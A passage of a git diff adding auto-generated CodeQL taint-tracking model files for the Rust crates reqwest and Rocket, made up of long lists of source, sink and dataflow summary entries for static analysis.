"log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "Argument[0]", "transmission", "df-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::wait::timeout", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "Argument[0]", "transmission", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_env", "ReturnValue", "environment", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml new file mode 100644 index 000000000000..76cd9d7618e2 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml @@ -0,0 +1,481 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::request::from_param::FromParam>::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[0]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[self]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form_field::FromFieldContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_value", "Argument[1].Field[crate::form::field::ValueField::value]", "Argument[0].Field[crate::form::from_form_field::FromFieldContext::field_value].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[0]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::Singleton(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::catcher::catcher::Catcher::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ca_certs", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "Argument[self].Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "ReturnValue.Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::certs", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::key", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mutual", "Argument[self].Field[crate::config::tls::TlsConfig::mutual].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::prefer_server_cipher_order", "Argument[self].Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_native_config", "Argument[self].Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::tls::listener::Config::prefer_server_order]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_ciphers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_mutual", "Argument[0]", "Argument[self].Field[crate::config::tls::TlsConfig::mutual].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_mutual", "Argument[0]", "ReturnValue.Field[crate::config::tls::TlsConfig::mutual].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_mutual", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_preferred_server_cipher_order", "Argument[0]", "Argument[self].Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_preferred_server_cipher_order", "Argument[0]", "ReturnValue.Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_preferred_server_cipher_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::cookies::CookieJar::config]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::cookies::CookieJar::jar].Reference", "ReturnValue.Field[crate::cookies::CookieJar::jar]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::cookies::CookieJar::jar]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[1]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0].Field[crate::form::field::ValueField::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::complete", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::is_complete", "Argument[self].Field[crate::data::capped::Capped::n].Field[crate::data::capped::N::complete]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::data::capped::Capped::n]", "ReturnValue.Field[crate::data::capped::Capped::n]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::data::capped::Capped::value]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::data::capped::Capped::n]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::N::written]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::local", "Argument[0]", "ReturnValue.Field[crate::data::data::Data::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek", "Argument[self].Field[crate::data::data::Data::buffer].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek_complete", "Argument[self].Field[crate::data::data::Data::is_complete]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Body(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Multipart(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::io_stream::IoStream::kind].Field[crate::data::io_stream::IoStreamKind::Upgraded(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::kind", "Argument[self].Field[crate::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shutdown", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind].Field[crate::error::ErrorKind::Shutdown(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::io", "Argument[self].Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::ext::CancellableIo::grace]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[3]", "ReturnValue.Field[crate::ext::CancellableIo::mercy]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::CancellableListener::trigger]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::CancellableListener::listener]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::get_ref", "Argument[self].Field[crate::ext::Chain::first]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::get_ref", "Argument[self].Field[crate::ext::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::Chain::first]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::Chain::second]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::fairing::ad_hoc::AdHoc::name]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::try_on_ignite", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::audit", "Argument[self].Field[crate::fairing::fairings::Fairings::failures]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle_ignite", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_error", "Argument[0].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "Argument[self].Field[crate::form::context::Context::status]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::context::Context::status]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::form::context::Contextual::context]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_entity", "Argument[0]", "Argument[self].Field[crate::form::error::Error::entity]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_entity", "Argument[0]", "Argument[self].Field[crate::form::error::Error::entity]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_entity", "Argument[0]", "ReturnValue.Field[crate::form::error::Error::entity]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_entity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::error::ErrorKind::InvalidLength::min]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::error::ErrorKind::OutOfRange::start]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::error::ErrorKind::InvalidLength::max]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::error::ErrorKind::OutOfRange::end]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::Errors(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Errors(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::error::Errors(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::field::ValueField::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue.Field[crate::form::field::ValueField::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::form::Form(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::lenient::Lenient(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::name::buf::NameBuf::right]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::form::name::buf::NameBuf::left].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::key::Key(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::borrow", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_name", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::parent", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self].Field[crate::form::name::view::NameView::end]", "Argument[self].Reference.Field[crate::form::name::view::NameView::start]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self].Field[crate::form::name::view::NameView::name]", "Argument[self].Reference.Field[crate::form::name::view::NameView::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::source", "Argument[self].Field[crate::form::name::view::NameView::name]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::next", "Argument[self].Field[crate::form::parser::RawStrParser::source].Element", "Argument[self].Field[crate::form::parser::RawStrParser::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::form::parser::RawStrParser::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::form::parser::RawStrParser::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::strict::Strict(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file", "Argument[self].Field[1]", "ReturnValue.Reference", "value", 